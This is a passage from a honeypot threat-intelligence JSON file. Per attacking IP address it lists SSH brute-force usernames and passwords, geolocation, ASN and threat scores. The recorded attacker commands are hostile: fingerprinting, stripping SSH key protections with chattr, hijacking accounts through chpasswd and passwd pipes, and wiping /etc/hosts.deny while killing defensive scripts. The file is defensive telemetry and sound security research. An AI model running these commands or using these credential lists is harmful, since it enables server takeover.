      "passwords_attempted": [
        "admin",
        "password",
        "1234",
        "12345",
        "abc123",
        "*****",
        "039715582364317",
        "0l0ctyQh243O63uD",
        "1",
        "1111",
        "112233",
        "123",
        "123456",
        "12345678",
        "123456789",
        "1234567890%*()",
        "72b1bd75ac87852a",
        "72ca06",
        "91482d",
        "@"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 28.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.9,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 618,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T11:20:47.317000+00:00",
        "last_seen_30d": "2026-03-21T11:46:40.396000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 432,
        "Suricata": 186
      }
    },
    "43.252.156.204": {
      "attack_count": 401,
      "first_seen": "2026-03-16T07:57:28.311Z",
      "last_seen": "2026-03-20T15:57:33.707Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "ankit",
        "ghostadmin",
        "k8suser",
        "mininet",
        "alumno",
        "daniel",
        "dario",
        "den",
        "ds",
        "geonode",
        "interview",
        "lsfadmin",
        "matin",
        "passbolt",
        "public",
        "sa",
        "server1",
        "slave"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "123",
        "1234",
        "Aa778899",
        "Aa@12345678",
        "Geonode123",
        "Ghostadmin123!",
        "Lsfadmin123!",
        "Matin123!",
        "Sa123!",
        "Wyy123!",
        "ankitpassword",
        "dariopass",
        "den123",
        "ds@123",
        "interview123",
        "k8suser"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Ghostadmin123!\\nnddbKtINb4vR\\nnddbKtINb4vR\\n\"|passwd",
        "echo \"ankitpassword\\nXnYHQu112XsF\\nXnYHQu112XsF\\n\"|passwd",
        "echo \"k8suser\\nYpVx0gw5V7w6\\nYpVx0gw5V7w6\\n\"|passwd",
        "echo \"mininetpass\\nvQQ2ROJQYR70\\nvQQ2ROJQYR70\\n\"|passwd",
        "echo -e \"Ghostadmin123!\\nnddbKtINb4vR\\nnddbKtINb4vR\"|passwd|bash",
        "echo -e \"ankitpassword\\nXnYHQu112XsF\\nXnYHQu112XsF\"|passwd|bash",
        "echo -e \"k8suser\\nYpVx0gw5V7w6\\nYpVx0gw5V7w6\"|passwd|bash",
        "echo -e \"mininetpass\\nvQQ2ROJQYR70\\nvQQ2ROJQYR70\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 55666,
      "as_org": "PT Media Sarana Data",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.8,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 478,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T07:57:28.311000+00:00",
        "last_seen_30d": "2026-03-20T15:58:42.763000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 401,
        "Suricata": 77
      }
    },
    "178.217.173.50": {
      "attack_count": 379,
      "first_seen": "2026-03-03T10:30:45.339Z",
      "last_seen": "2026-03-05T07:31:40.175Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#",
        "123@Robert",
        "123qwe...",
        "2024@@",
        "2486",
        "369852",
        "@a",
        "A123456789**963",
        "Aa-2025",
        "Aa@123456789",
        "Admin2019",
        "Bingo@1993",
        "QWE",
        "Root2025",
        "ZabTharwat@2025",
        "Zaq123456",
        "a12345691",
        "ab123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Aa-2025\\nunHGQNoS38wa\\nunHGQNoS38wa\\n\"|passwd",
        "echo \"QWE\\nFHjgX0tbSbLk\\nFHjgX0tbSbLk\\n\"|passwd",
        "echo \"root:EESLWh6Ucnvb\"|chpasswd|bash",
        "echo \"root:ud54NUooXXzn\"|chpasswd|bash",
        "echo -e \"Aa-2025\\nunHGQNoS38wa\\nunHGQNoS38wa\"|passwd|bash",
        "echo -e \"QWE\\nFHjgX0tbSbLk\\nFHjgX0tbSbLk\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Kyrgyzstan",
      "country_code": "KG",
      "city": null,
      "asn": 197119,
      "as_org": "Kyrgyz research and education network association",
      "threat_score": 5.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.5,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 448,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T10:30:45.339000+00:00",
        "last_seen_30d": "2026-03-05T07:32:45.469000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 379,
        "Suricata": 69
      }
    },
    "103.13.19.140": {
      "attack_count": 372,
      "first_seen": "2026-03-31T15:07:55.445Z",
      "last_seen": "2026-03-31T16:16:57.501Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "11092026",
        "Abc123321@",
        "Dg123456",
        "Hello2024",
        "Huawei1234",
        "Mavi2024",
        "P@55vv0rd",
        "P@sSw0Rd",
        "Password123#",
        "QAZ1234wsx",
        "QWERTY!@#",
        "Qwert@123456",
        "Yq147258",
        "amber1",
        "backup2024",
        "erty",
        "qwertyuiop123456789",
        "welkom"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:3boSDjwxurIa\"|chpasswd|bash",
        "echo \"root:BCDVJ4b52o1m\"|chpasswd|bash",
        "echo \"root:Z3jH8T9pqsqh\"|chpasswd|bash",
        "echo \"root:deQTSc8Ex3xp\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 5065,
      "as_org": "Bunny Communications",
      "threat_score": 39.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 439,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T15:07:55.445000+00:00",
        "last_seen_30d": "2026-03-31T16:18:04.725000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 372,
        "Suricata": 67
      }
    },
    "103.172.236.241": {
      "attack_count": 312,
      "first_seen": "2026-03-10T06:53:15.523Z",
      "last_seen": "2026-03-15T16:29:23.357Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "clawd",
        "pepe",
        "student2",
        "amin",
        "appserver",
        "backupuser",
        "bitwarden",
        "cs",
        "ftpuser01",
        "huang",
        "informatica",
        "iot",
        "itadmin",
        "kirill",
        "myuser",
        "proxyuser",
        "root",
        "saad",
        "userb"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "12345678",
        "Amin123!",
        "Bitwarden123!",
        "Itadmin123",
        "Student2123",
        "appserverpass",
        "backupuserpass",
        "clawd",
        "huangpass",
        "informatica123",
        "iot123",
        "kirill123!",
        "password",
        "userb123",
        "webapp123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\nq2nbX0bbVs0j\\nq2nbX0bbVs0j\\n\"|passwd",
        "echo \"Student2123\\ny4CsITmTNLO1\\ny4CsITmTNLO1\\n\"|passwd",
        "echo \"clawd\\neW9wogH4kKYG\\neW9wogH4kKYG\\n\"|passwd",
        "echo -e \"12345\\nq2nbX0bbVs0j\\nq2nbX0bbVs0j\"|passwd|bash",
        "echo -e \"Student2123\\ny4CsITmTNLO1\\ny4CsITmTNLO1\"|passwd|bash",
        "echo -e \"clawd\\neW9wogH4kKYG\\neW9wogH4kKYG\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 38253,
      "as_org": "Hanoi Telecom JSC",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.7,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 375,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T06:53:15.523000+00:00",
        "last_seen_30d": "2026-03-15T16:30:25.380000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 312,
        "Suricata": 63
      }
    },
    "196.188.63.205": {
      "attack_count": 304,
      "first_seen": "2026-03-03T20:52:59.067Z",
      "last_seen": "2026-03-25T06:18:02.030Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "leo",
        "proradis",
        "bryan",
        "exx",
        "kusanagi",
        "lucas",
        "milad",
        "pro",
        "ruben",
        "testsftp",
        "usuarioftp"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456a@",
        "1234qwerty",
        "1234rfv",
        "1qaz$RFV",
        "Bingo@1993",
        "Ch123456",
        "Pro123!",
        "Qwerty123!@#",
        "Root2026",
        "Ruben123!",
        "Usuarioftp123",
        "Welcome@1234",
        "ZAQ123wsx"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\nQ8j4ZUY5EC2X\\nQ8j4ZUY5EC2X\\n\"|passwd",
        "echo \"liverovast#adkz443\\nvhvPGsql6xOE\\nvhvPGsql6xOE\\n\"|passwd",
        "echo -e \"12345\\nQ8j4ZUY5EC2X\\nQ8j4ZUY5EC2X\"|passwd|bash",
        "echo -e \"liverovast#adkz443\\nvhvPGsql6xOE\\nvhvPGsql6xOE\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Addis Ababa",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 45.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.9,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 387,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T20:52:59.067000+00:00",
        "last_seen_30d": "2026-03-25T06:19:09.290000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 304,
        "Suricata": 83
      }
    },
    "59.98.83.57": {
      "attack_count": 292,
      "first_seen": "2026-03-10T23:39:10.941Z",
      "last_seen": "2026-03-28T06:08:14.892Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "socksuser",
        "clawd",
        "public",
        "sftpuser",
        "sinusbot",
        "soporte",
        "trooper",
        "ubuntu",
        "web_admin",
        "zabbix"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!Q@W3e",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "706e642a056c7e894ed5a01e55700004",
        "@Dmin1234",
        "Admin123@",
        "Admin@123456789",
        "Aq123456",
        "P@ssword!@",
        "Public123!",
        "Qs123456",
        "Sinusbot123",
        "Sm123456.",
        "Sushil@123",
        "abcd1234-",
        "asd123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345\\nJAkcm2hOqXT2\\nJAkcm2hOqXT2\\n\"|passwd",
        "echo \"root:RTLUVuwL3A4F\"|chpasswd|bash",
        "echo -e \"12345\\nJAkcm2hOqXT2\\nJAkcm2hOqXT2\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 48.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.9,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 387,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:39:10.941000+00:00",
        "last_seen_30d": "2026-03-28T06:09:21.548000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 292,
        "Suricata": 95
      }
    },
    "119.18.55.118": {
      "attack_count": 287,
      "first_seen": "2026-03-12T16:04:42.356Z",
      "last_seen": "2026-03-26T11:32:35.896Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "claude",
        "evil",
        "jun",
        "apexuser",
        "arm",
        "felix",
        "ftpd",
        "github-runner",
        "i",
        "k8suser",
        "lg",
        "mamad",
        "minecraft",
        "ravi",
        "sami",
        "zhj"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "1234",
        "12345678",
        "Zhj123!",
        "apexuser123",
        "armpass",
        "felix1234",
        "github-runnerpass",
        "i123",
        "k8suser",
        "lg1234",
        "mamad123!",
        "mine",
        "sami123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"password\\n8qJJVPOYGqeG\\n8qJJVPOYGqeG\\n\"|passwd",
        "echo \"password\\nO9qoMSeKHJ6I\\nO9qoMSeKHJ6I\\n\"|passwd",
        "echo \"password\\nj1gE5AUS2SlX\\nj1gE5AUS2SlX\\n\"|passwd",
        "echo -e \"password\\n8qJJVPOYGqeG\\n8qJJVPOYGqeG\"|passwd|bash",
        "echo -e \"password\\nO9qoMSeKHJ6I\\nO9qoMSeKHJ6I\"|passwd|bash",
        "echo -e \"password\\nj1gE5AUS2SlX\\nj1gE5AUS2SlX\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 394695,
      "as_org": "PDR",
      "threat_score": 49.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.3,
        "persistence": 18.3,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 341,
        "days_active_30d": 22,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T00:36:45.926000+00:00",
        "last_seen_30d": "2026-03-26T11:33:39.517000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 287,
        "Suricata": 54
      }
    },
    "103.186.0.101": {
      "attack_count": 268,
      "first_seen": "2026-03-27T09:37:15.069Z",
      "last_seen": "2026-03-27T23:51:47.061Z",
      "sessions": 42,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!QAZ2wsx1234",
        "020262",
        "123!Abc",
        "123qweqweQWE#",
        "3245gs5662d34",
        "345gs5662d34",
        "ASDzxc123456",
        "Abc258369",
        "Cloud1234",
        "Digitalocean",
        "Docker!",
        "Docker@2025",
        "Hello@2024",
        "India123",
        "Ld123456.",
        "Mu123456",
        "Pw123456",
        "Qwerty@12345",
        "Sx123456!",
        "Zxcv!@#$1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:o8ze3M1Jk8uU\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 34.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 392,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T09:37:15.069000+00:00",
        "last_seen_30d": "2026-03-27T23:52:55.647000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 268,
        "Suricata": 124
      }
    },
    "139.59.36.12": {
      "attack_count": 262,
      "first_seen": "2026-03-11T21:45:29.402Z",
      "last_seen": "2026-03-11T22:09:36.354Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "intel",
        "saad",
        "webadmin",
        "alexis",
        "claude",
        "data",
        "develop",
        "excel",
        "flussonic",
        "kjh",
        "zsolt"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345",
        "123456",
        "Flussonic123",
        "alexis123",
        "claude123",
        "develop123",
        "kjh",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\niWnOHIU4bAOC\\niWnOHIU4bAOC\\n\"|passwd",
        "echo \"1234\\njidSE7i61lKG\\njidSE7i61lKG\\n\"|passwd",
        "echo \"123\\ntHulVn2uEgTH\\ntHulVn2uEgTH\\n\"|passwd",
        "echo -e \"123456\\niWnOHIU4bAOC\\niWnOHIU4bAOC\"|passwd|bash",
        "echo -e \"1234\\njidSE7i61lKG\\njidSE7i61lKG\"|passwd|bash",
        "echo -e \"123\\ntHulVn2uEgTH\\ntHulVn2uEgTH\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 301,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T21:45:29.402000+00:00",
        "last_seen_30d": "2026-03-11T22:10:41.263000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 39
      }
    },
    "103.187.146.121": {
      "attack_count": 236,
      "first_seen": "2026-03-29T02:20:16.120Z",
      "last_seen": "2026-03-29T03:35:21.923Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#ASD123",
        "202512",
        "2468@Network!#%&",
        "Gg112233",
        "Killer123",
        "Market123",
        "Microsoft123",
        "Mx123456",
        "Passwort1!",
        "QWERqwer123",
        "Tu123456",
        "WS@yckj2025",
        "Wachtwoord_123",
        "Zx123123",
        "aa123",
        "abcde12345",
        "amr",
        "asd@321"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:6B3klwRpzq3h\"|chpasswd|bash",
        "echo \"root:jhlnUGwDyY0T\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 35.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
